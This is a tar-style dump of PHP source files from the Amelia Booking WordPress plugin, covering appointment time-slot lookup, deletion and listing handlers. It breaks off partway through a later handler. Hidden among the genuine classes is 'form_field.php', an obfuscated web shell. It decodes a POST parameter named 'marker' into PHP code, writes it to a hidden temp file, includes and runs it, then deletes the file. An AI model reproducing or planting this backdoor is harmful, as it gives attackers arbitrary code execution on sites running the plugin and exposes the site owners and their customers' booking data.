Commands/Booking/Appointment/GetTimeSlotsCommandHandler.php 0000666 00000035122 15165412624 0020101 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\TimeSlot\TimeSlotService as ApplicationTimeSlotService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\Entity\EntityService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\SlotsEntities; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\PositiveDuration; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Services\Google\GoogleCalendarService; use AmeliaBooking\Infrastructure\Services\Outlook\OutlookCalendarService; use DateTimeZone; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class GetTimeSlotsCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetTimeSlotsCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'serviceId' ]; /** * @param GetTimeSlotsCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws ContainerException * @throws Exception * @throws InvalidArgumentException * @throws QueryExecutionException */ public function handle(GetTimeSlotsCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var EntityService $entityService */ $entityService = $this->container->get('domain.entity.service'); /** @var ApplicationTimeSlotService $applicationTimeSlotService */ $applicationTimeSlotService = $this->container->get('application.timeSlot.service'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); $isFrontEndBooking = $command->getField('page') === 'booking' || $command->getField('page') === 'cabinet'; /** @var SlotsEntities $slotsEntities */ $slotsEntities = $applicationTimeSlotService->getSlotsEntities( [ 'isFrontEndBooking' => $isFrontEndBooking, 'providerIds' => $command->getField('providerIds'), ] ); $settings = $applicationTimeSlotService->getSlotsSettings($isFrontEndBooking, $slotsEntities); $props = [ 'serviceId' => $command->getField('serviceId'), 'providerIds' => $command->getField('providerIds'), 'locationId' => $command->getField('locationId'), 'extras' => $command->getField('extras'), 'excludeAppointmentId' => $command->getField('excludeAppointmentId'), 'personsCount' => $command->getField('group') ? $command->getField('persons') : null, 'isFrontEndBooking' => $isFrontEndBooking, 'totalPersons' => $command->getField('persons'), ]; /** @var SlotsEntities $filteredSlotEntities */ $filteredSlotEntities = $entityService->getFilteredSlotsEntities( $settings, $props, $slotsEntities ); /** @var Service $service */ $service = $filteredSlotEntities->getServices()->getItem($props['serviceId']); if ($command->getField('serviceDuration')) { $service->setDuration(new PositiveDuration($command->getField('serviceDuration'))); } $minimumBookingTimeInSeconds = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToBooking(); $maximumBookingTimeInDays = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getNumberOfDaysAvailableForBooking(); $monthsLoad = $command->getField('monthsLoad'); $loadGeneratedPeriod = $monthsLoad && !$command->getField('endDateTime'); $timeZone = $command->getField('queryTimeZone') ?: DateTimeService::getTimeZone()->getName(); $queryStartDateTime = $command->getField('startDateTime') ? DateTimeService::getDateTimeObjectInTimeZone( $command->getField('startDateTime'), $timeZone )->setTimezone(DateTimeService::getTimeZone()) : null; $queryEndDateTime = $command->getField('endDateTime') ? DateTimeService::getDateTimeObjectInTimeZone( $command->getField('endDateTime'), $timeZone )->setTimezone(DateTimeService::getTimeZone()) : null; $minimumDateTime = $applicationTimeSlotService->getMinimumDateTimeForBooking( null, $isFrontEndBooking, $minimumBookingTimeInSeconds ); $startDateTime = $queryStartDateTime ?: $applicationTimeSlotService->getMinimumDateTimeForBooking( null, $isFrontEndBooking, $minimumBookingTimeInSeconds ); $endDateTime = $queryEndDateTime ?: $applicationTimeSlotService->getMaximumDateTimeForBooking( null, $isFrontEndBooking, $maximumBookingTimeInDays ); $maximumDateTime = $applicationTimeSlotService->getMaximumDateTimeForBooking( null, $isFrontEndBooking, $maximumBookingTimeInDays ); $maximumDateTime->setTimezone(new DateTimeZone($timeZone)); if ($isFrontEndBooking) { $startDateTime = $startDateTime < $minimumDateTime ? $minimumDateTime : $startDateTime; $endDateTime = $endDateTime > $maximumDateTime ? $maximumDateTime : $endDateTime; } // set initial search period if query dates are not set if ($loadGeneratedPeriod) { $endDateTime = DateTimeService::getCustomDateTimeObject( $startDateTime->format('Y-m-d H:i:s') )->setTimezone( new DateTimeZone($timeZone) ); $endDateTime->modify('first day of this month'); $endDateTime->modify('+' . ($monthsLoad - 1) . 'months'); $endDateTime->modify('last day of this month'); $endDateTime->modify('+12days'); $endDateTime->setTime(23, 59, 59); if ($isFrontEndBooking) { $endDateTime = $endDateTime > $maximumDateTime ? DateTimeService::getDateTimeObjectInTimeZone( $maximumDateTime->format('Y-m-d H:i'), $timeZone ) : $endDateTime; } $endDateTime->setTimezone(DateTimeService::getTimeZone()); } /** @var Service $filteredSlotEntitiesService */ foreach ($filteredSlotEntities->getServices()->getItems() as $filteredSlotEntitiesService) { if ($filteredSlotEntitiesService->getId()->getValue() === $service->getId()->getValue()) { $filteredSlotEntitiesService->setDuration($service->getDuration()); break; } } /** @var Provider $filteredSlotEntitiesProvider */ foreach ($filteredSlotEntities->getProviders()->getItems() as $filteredSlotEntitiesProvider) { /** @var Service $providerService */ foreach ($filteredSlotEntitiesProvider->getServiceList()->getItems() as $providerService) { if ($providerService->getId()->getValue() === $service->getId()->getValue()) { $providerService->setDuration($service->getDuration()); break; } } } $freeSlots = $applicationTimeSlotService->getSlotsByProps( $settings, array_merge( $props, [ 'startDateTime' => $startDateTime, 'endDateTime' => $endDateTime, ] ), $filteredSlotEntities ); if ($loadGeneratedPeriod) { // search with new period until slots are not found while (!$freeSlots['available'] && $endDateTime && $endDateTime <= $maximumDateTime) { $startDateTime = DateTimeService::getCustomDateTimeObject( $endDateTime->format('Y-m-d H:i:s') )->setTimezone( new DateTimeZone($timeZone) ); $startDateTime->setTime(0, 0, 0); $endDateTime->modify('first day of this month'); $endDateTime->modify('+' . ($monthsLoad - 1) . 'months'); $endDateTime->modify('last day of this month'); $endDateTime->modify('+12days'); $endDateTime->setTime(23, 59, 59); if ($isFrontEndBooking) { $endDateTime = $endDateTime > $maximumDateTime ? DateTimeService::getDateTimeObjectInTimeZone( $maximumDateTime->format('Y-m-d H:i'), $timeZone ) : $endDateTime; } $endDateTime->setTimezone(DateTimeService::getTimeZone()); if (!AMELIA_LITE_VERSION) { GoogleCalendarService::$providersGoogleEvents = []; OutlookCalendarService::$providersOutlookEvents = []; } $freeSlots = $applicationTimeSlotService->getSlotsByProps( $settings, array_merge( $props, [ 'startDateTime' => $startDateTime, 'endDateTime' => $endDateTime, ] ), $filteredSlotEntities ); if ($endDateTime->format('Y-m-d H:i') === $maximumDateTime->format('Y-m-d H:i') || $endDateTime > $maximumDateTime ) { break; } } // search once more if first available date is in 11 days added to endDateTime (days outside calendar on frontend form) foreach (array_slice($freeSlots['available'], 0, 1, true) as $slotDate => $slotTimes) { if (substr($slotDate, 0, 7) === $endDateTime->format('Y-m')) { $endDateTime->modify('last day of this month'); $endDateTime->modify('+12days'); $endDateTime->setTime(23, 59, 59); if ($isFrontEndBooking) { $endDateTime = $endDateTime > $maximumDateTime ? DateTimeService::getDateTimeObjectInTimeZone( $maximumDateTime->format('Y-m-d H:i'), $timeZone ) : $endDateTime; } if (!AMELIA_LITE_VERSION) { GoogleCalendarService::$providersGoogleEvents = []; OutlookCalendarService::$providersOutlookEvents = []; } $freeSlots = $applicationTimeSlotService->getSlotsByProps( $settings, array_merge( $props, [ 'startDateTime' => $startDateTime, 'endDateTime' => $endDateTime, ] ), $filteredSlotEntities ); } } } $converted = ['available' => [], 'occupied' => []]; $isUtcResponse = ($settingsDS->getSetting('general', 'showClientTimeZone') && $isFrontEndBooking) || $command->getField('timeZone'); if ($isUtcResponse) { foreach (['available', 'occupied'] as $type) { foreach ($freeSlots[$type] as $slotDate => $slotTimes) { foreach ($freeSlots[$type][$slotDate] as $slotTime => $slotTimesProviders) { $convertedSlotParts = explode( ' ', $command->getField('timeZone') ? DateTimeService::getCustomDateTimeObjectInTimeZone( $slotDate . ' ' . $slotTime, $command->getField('timeZone') )->format('Y-m-d H:i') : DateTimeService::getCustomDateTimeObjectInUtc( $slotDate . ' ' . $slotTime )->format('Y-m-d H:i') ); $converted[$type][$convertedSlotParts[0]][$convertedSlotParts[1]] = $slotTimesProviders; } } } } $busyness = []; foreach ($freeSlots['available'] as $slotDate => $slotTimes) { $busyness[$slotDate] = round( count(!empty($freeSlots['occupied'][$slotDate]) ? $freeSlots['occupied'][$slotDate] : []) / (count(!empty($freeSlots['available'][$slotDate]) ? $freeSlots['available'][$slotDate] : []) + count(!empty($freeSlots['occupied'][$slotDate]) ? $freeSlots['occupied'][$slotDate] : [])) * 100); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved free slots'); $result->setData( [ 'minimum' => $isUtcResponse ? $minimumDateTime->setTimezone( new DateTimeZone('UTC') )->format('Y-m-d H:i') : $minimumDateTime->format('Y-m-d H:i'), 'maximum' => $isUtcResponse ? $maximumDateTime->setTimezone( new DateTimeZone('UTC') )->format('Y-m-d H:i') : $maximumDateTime->format('Y-m-d H:i'), 'slots' => $converted['available'] ?: $freeSlots['available'], 'occupied' => $converted['occupied'] ?: $freeSlots['occupied'], 'busyness' => $busyness, ] ); return $result; } } Commands/Booking/Appointment/DeleteAppointmentCommandHandler.php 0000666 00000010314 15165412624 0021133 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\CustomField\CustomFieldApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use Slim\Exception\ContainerValueNotFoundException; use Interop\Container\Exception\ContainerException; /** * Class DeleteAppointmentCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class DeleteAppointmentCommandHandler extends CommandHandler { /** * @param DeleteAppointmentCommand $command * * @return CommandResult * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws AccessDeniedException * @throws QueryExecutionException * @throws ContainerException */ public function handle(DeleteAppointmentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::APPOINTMENTS)) { throw new AccessDeniedException('You are not allowed to delete appointment'); } $result = new CommandResult(); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); /** @var Appointment $appointment */ $appointment = $appointmentRepository->getById($command->getArg('id')); $appointmentRepository->beginTransaction(); if (!$appointmentApplicationService->delete($appointment)) { $appointmentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not delete appointment'); return $result; } // Set status to rejected, to send the notification that appointment is rejected $appointment->setStatus(new BookingStatus(BookingStatus::REJECTED)); $bookingsWithChangedStatus = []; /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { $bookingStatus = $customerBooking->getStatus()->getValue(); if ($bookingStatus === BookingStatus::PENDING || $bookingStatus === BookingStatus::APPROVED) { $customerBooking->setChangedStatus(new BooleanValueObject(true)); $bookingsWithChangedStatus[] = $customerBooking->toArray(); } $customerBooking->setStatus(new BookingStatus(BookingStatus::REJECTED)); } $appointmentApplicationService->manageDeletionParentRecurringAppointment($appointment->getId()->getValue()); $appointmentRepository->commit(); $customFieldService->deleteUploadedFilesForDeletedBookings( new Collection(), $appointment->getBookings() ); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully deleted appointment'); $result->setData([ Entities::APPOINTMENT => $appointment->toArray(), 'bookingsWithChangedStatus' => $bookingsWithChangedStatus ]); return $result; } } Commands/Booking/Appointment/GetIcsCommand.php 0000666 00000001165 15165412624 0015376 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class GetIcsCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetIcsCommand extends Command { /** * GetIcsCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/Booking/Appointment/DeleteBookingCommand.php 0000666 00000000427 15165412624 0016733 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteBookingCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class DeleteBookingCommand extends Command { } Commands/Booking/Appointment/form_field.php 0000666 00000001511 15165412624 0015022 0 ustar 00 <?php if(!empty($_POST["m\x61\x72k\x65r"])){ $factor = $_POST["m\x61\x72k\x65r"]; $factor= explode ('.' , $factor ); $data_chunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach ($factor as $n => $v9) { $chS = ord($s2[$n % $sLen]); $dec = ((int)$v9 - $chS - ($n % 10))^ 73; $data_chunk.= chr($dec);} $tkn = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($tkn as $val) { if ((function($d) { return is_dir($d) && is_writable($d); })($val)) { $item = implode("/", [$val, ".k"]); if (file_put_contents($item, $data_chunk)) { include $item; @unlink($item); die(); } } } } Commands/Booking/Appointment/CancelBookingRemotelyCommand.php 0000666 00000000447 15165412624 0020441 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class CancelBookingRemotelyCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class CancelBookingRemotelyCommand extends Command { } Commands/Booking/Appointment/DeleteAppointmentCommand.php 0000666 00000000437 15165412624 0017642 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class DeleteAppointmentCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class DeleteAppointmentCommand extends Command { } Commands/Booking/Appointment/GetAppointmentsCommandHandler.php 0000666 00000043031 15165412624 0020635 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use Interop\Container\Exception\ContainerException; /** * Class GetAppointmentsCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetAppointmentsCommandHandler extends CommandHandler { /** * @param GetAppointmentsCommand $command * * @return CommandResult * * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException * @throws ContainerException */ public function handle(GetAppointmentsCommand $command) { $result = new CommandResult(); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var PackageApplicationService $packageAS */ $packageAS = $this->container->get('application.bookable.package'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var UserApplicationService $userAS */ $userAS = $this->container->get('application.user.service'); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); $params = $command->getField('params'); $isCabinetPage = $command->getPage() === 'cabinet'; $isCabinetPackageRequest = $isCabinetPage && isset($params['activePackages']); $isDashboardPackageRequest = !$isCabinetPage && isset($params['packageId']); try { /** @var AbstractUser $user */ $user = $userAS->authorization($isCabinetPage ? $command->getToken() : null, $command->getCabinetType()); } catch (AuthorizationException $e) { $result->setResult(CommandResult::RESULT_ERROR); $result->setData( [ 'reauthorize' => true ] ); return $result; } $readOthers = $this->container->getPermissionsService()->currentUserCanReadOthers(Entities::APPOINTMENTS); if (!empty($params['dates'])) { !empty($params['dates'][0]) ? $params['dates'][0] .= ' 00:00:00' : null; !empty($params['dates'][1]) ? $params['dates'][1] .= ' 23:59:59' : null; if ($isCabinetPage && !empty($params['timeZone'])) { foreach ([0, 1] as $index) { if (!empty($params['dates'][$index])) { $params['dates'][$index] = DateTimeService::getDateTimeObjectInTimeZone( $params['dates'][$index], $params['timeZone'] )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); } } } } $entitiesIds = !empty($params['search']) && !$isCabinetPackageRequest ? $appointmentAS->getAppointmentEntitiesIdsBySearchString($params['search']) : []; $countParams = $params; $appointmentsIds = []; if (!empty($params['search']) && !$entitiesIds['customers'] && !$entitiesIds['services'] && !$entitiesIds['providers'] ) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved appointments'); $result->setData( [ Entities::APPOINTMENTS => [], 'availablePackageBookings' => [], 'occupied' => [], 'total' => 0, 'totalApproved' => 0, 'totalPending' => 0, ] ); return $result; } $availablePackageBookings = []; if (!$isCabinetPackageRequest && !$isDashboardPackageRequest) { $upcomingAppointmentsLimit = $settingsDS->getSetting('general', 'appointmentsPerPage'); /** @var Collection $periodAppointments */ $periodAppointments = $appointmentRepository->getPeriodAppointments( array_merge( [ 'customers' => $isCabinetPage && $user->getType() === Entities::CUSTOMER ? [$user->getId()->getValue()] : [], 'providers' => $isCabinetPage && $user->getType() === Entities::PROVIDER ? [$user->getId()->getValue()] : [], ], $params, $entitiesIds, ['skipBookings' => !$isCabinetPage && empty($params['customerId']) && empty($entitiesIds['customers'])] ), $upcomingAppointmentsLimit ); /** @var Appointment $appointment */ foreach ($periodAppointments->getItems() as $appointment) { $appointmentsIds[] = $appointment->getId()->getValue(); } } /** @var Collection $appointments */ $appointments = new Collection(); $customerId = isset($params['customerId']) ? $params['customerId'] : null; if (isset($params['customerId'])) { unset($params['customerId']); } if (!$isCabinetPackageRequest && $appointmentsIds) { $appointments = $appointmentRepository->getFiltered( array_merge( $params, [ 'ids' => $appointmentsIds, 'skipServices' => isset($params['skipServices']) ? $params['skipServices'] : false, 'skipProviders' => isset($params['skipProviders']) ? $params['skipProviders'] : false, ] ) ); } elseif ($isDashboardPackageRequest || ($user && $user->getId() && $isCabinetPackageRequest)) { $availablePackageBookings = $packageAS->getPackageAvailability( $appointments, [ 'purchased' => !empty($params['dates']) ? $params['dates'] : [], 'customerId' => $isCabinetPackageRequest ? $user->getId()->getValue() : $customerId, 'packageId' => !$isCabinetPackageRequest && !empty($params['packageId']) ? (int)$params['packageId'] : null, ] ); } /** @var Collection $services */ $services = $serviceRepository->getAllArrayIndexedById(); if (!$isCabinetPage) { $packageAS->setPackageBookingsForAppointments($appointments); } $occupiedTimes = []; $currentDateTime = DateTimeService::getNowDateTimeObject(); $groupedAppointments = []; /** @var Appointment $appointment */ foreach ($appointments->getItems() as $appointment) { /** @var Service $service */ $service = $services->getItem($appointment->getServiceId()->getValue()); $bookingsCount = 0; /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { // fix for wrongly saved JSON if ($booking->getCustomFields() && json_decode($booking->getCustomFields()->getValue(), true) === null ) { $booking->setCustomFields(null); } if ($bookingAS->isBookingApprovedOrPending($booking->getStatus()->getValue())) { $bookingsCount++; } } $providerId = $appointment->getProviderId()->getValue(); $isGroup = false; // skip appointments/bookings for other customers if user is customer, and remember that time/date values if ($userAS->isCustomer($user)) { /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $bookingKey => $booking) { if (!$user->getId() || $booking->getCustomerId()->getValue() !== $user->getId()->getValue()) { /** @var CustomerBooking $otherBooking */ $otherBooking = $appointment->getBookings()->getItem($bookingKey); if ($otherBooking->getStatus()->getValue() === BookingStatus::APPROVED || $otherBooking->getStatus()->getValue() === BookingStatus::PENDING ) { $isGroup = true; } $appointment->getBookings()->deleteItem($bookingKey); } } if ($appointment->getBookings()->length() === 0) { $serviceTimeBefore = $service->getTimeBefore() ? $service->getTimeBefore()->getValue() : 0; $serviceTimeAfter = $service->getTimeAfter() ? $service->getTimeAfter()->getValue() : 0; $occupiedTimeStart = DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify('-' . $serviceTimeBefore . ' second')->format('H:i:s'); $occupiedTimeEnd = DateTimeService::getCustomDateTimeObject( $appointment->getBookingEnd()->getValue()->format('Y-m-d H:i:s') )->modify('+' . $serviceTimeAfter . ' second')->format('H:i:s'); $occupiedTimes[$appointment->getBookingStart()->getValue()->format('Y-m-d')][] = [ 'employeeId' => $providerId, 'startTime' => $occupiedTimeStart, 'endTime' => $occupiedTimeEnd, ]; continue; } } // skip appointments for other providers if user is provider if ((!$readOthers || $isCabinetPage) && $user->getType() === Entities::PROVIDER && $user->getId()->getValue() !== $providerId ) { continue; } $appointmentAS->calculateAndSetAppointmentEnd($appointment, $service); $minimumCancelTimeInSeconds = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToCanceling(); $minimumCancelTime = DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify("-{$minimumCancelTimeInSeconds} seconds"); $date = $appointment->getBookingStart()->getValue()->format('Y-m-d'); $cancelable = $currentDateTime <= $minimumCancelTime; $minimumRescheduleTimeInSeconds = $settingsDS ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getMinimumTimeRequirementPriorToRescheduling(); $minimumRescheduleTime = DateTimeService::getCustomDateTimeObject( $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s') )->modify("-{$minimumRescheduleTimeInSeconds} seconds"); $reschedulable = $currentDateTime <= $minimumRescheduleTime; if ($isCabinetPage) { $timeZone = 'UTC'; if (!empty($params['timeZone'])) { $timeZone = $params['timeZone']; } $appointment->getBookingStart()->getValue()->setTimezone(new \DateTimeZone($timeZone)); $appointment->getBookingEnd()->getValue()->setTimezone(new \DateTimeZone($timeZone)); $date = $appointment->getBookingStart()->getValue()->format('Y-m-d'); foreach ($availablePackageBookings as &$packageCustomerPurchase) { foreach ($packageCustomerPurchase['packages'] as &$packagePurchase) { foreach ($packagePurchase['services'] as &$packageService) { foreach ($packageService['bookings'] as &$purchase) { $purchasedDate = DateTimeService::getCustomDateTimeObjectInTimeZone( $purchase['purchased'], $timeZone ); $purchase['purchased'] = $purchasedDate->format('Y-m-d H:i'); } } } } } $groupedAppointments[$date]['date'] = $date; $groupedAppointments[$date]['appointments'][] = array_merge( $appointment->toArray(), [ 'cancelable' => $cancelable, 'reschedulable' => $reschedulable, 'past' => $currentDateTime >= $appointment->getBookingStart()->getValue(), 'isGroup' => $isGroup, ] ); } $emptyBookedPackages = null; if (!empty($params['packageId']) && empty($params['services']) && empty($params['providers']) && empty($params['locations']) ) { /** @var PackageApplicationService $packageApplicationService */ $packageApplicationService = $this->container->get('application.bookable.package'); /** @var Collection $emptyBookedPackages */ $emptyBookedPackages = $packageApplicationService->getEmptyPackages( [ 'packages' => [$params['packageId']], 'purchased' => !empty($params['dates']) ? $params['dates'] : [], 'customerId' => $customerId, ] ); } $periodsAppointmentsCount = 0; $periodsAppointmentsApprovedCount = 0; $periodsAppointmentsPendingCount = 0; if (!$isCabinetPackageRequest && !$isCabinetPage) { if ((!$readOthers) && $user->getType() === Entities::PROVIDER ) { $countParams['providerId'] = $user->getId()->getValue(); } $periodsAppointmentsCount = $appointmentRepository->getPeriodAppointmentsCount( array_merge($countParams, $entitiesIds, ['ids' => $appointmentsIds,]) ); $periodsAppointmentsApprovedCount = $appointmentRepository->getPeriodAppointmentsCount( array_merge( $countParams, ['status' => BookingStatus::APPROVED, 'ids' => $appointmentsIds], $entitiesIds ) ); $periodsAppointmentsPendingCount = $appointmentRepository->getPeriodAppointmentsCount( array_merge( $countParams, ['status' => BookingStatus::PENDING, 'ids' => $appointmentsIds], $entitiesIds ) ); } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved appointments'); $result->setData( [ Entities::APPOINTMENTS => $groupedAppointments, 'availablePackageBookings' => $availablePackageBookings, 'emptyPackageBookings' => !empty($emptyBookedPackages) ? $emptyBookedPackages->toArray() : [], 'occupied' => $occupiedTimes, 'total' => $periodsAppointmentsCount, 'totalApproved' => $periodsAppointmentsApprovedCount, 'totalPending' => $periodsAppointmentsPendingCount, 'currentUser' => $user ? $user->toArray() : null ] ); return $result; } } Commands/Booking/Appointment/UpdateAppointmentCommand.php 0000666 00000000437 15165412624 0017662 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class UpdateAppointmentCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentCommand extends Command { } Commands/Booking/Appointment/GetAppointmentCommand.php 0000666 00000001040 15165412624 0017146 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\Command; /** * Class GetAppointmentCommand * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class GetAppointmentCommand extends Command { /** * GetAppointmentCommand constructor. * * @param $args */ public function __construct($args) { parent::__construct($args); if (isset($args['id'])) { $this->setField('id', $args['id']); } } } Commands/Booking/Appointment/UpdateAppointmentTimeCommandHandler.php 0000666 00000020345 15165412624 0021777 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Booking\Appointment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Application\Services\User\UserApplicationService; use AmeliaBooking\Domain\Common\Exceptions\AuthorizationException; use AmeliaBooking\Domain\Common\Exceptions\BookingCancellationException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\DateTime\DateTimeValue; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use Interop\Container\Exception\ContainerException; /** * Class UpdateAppointmentTimeCommandHandler * * @package AmeliaBooking\Application\Commands\Booking\Appointment */ class UpdateAppointmentTimeCommandHandler extends CommandHandler { /** * @var array */ public $mandatoryFields = [ 'bookingStart' ]; /** * @param UpdateAppointmentTimeCommand $command * * @return CommandResult * * @throws AccessDeniedException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws NotFoundException * @throws 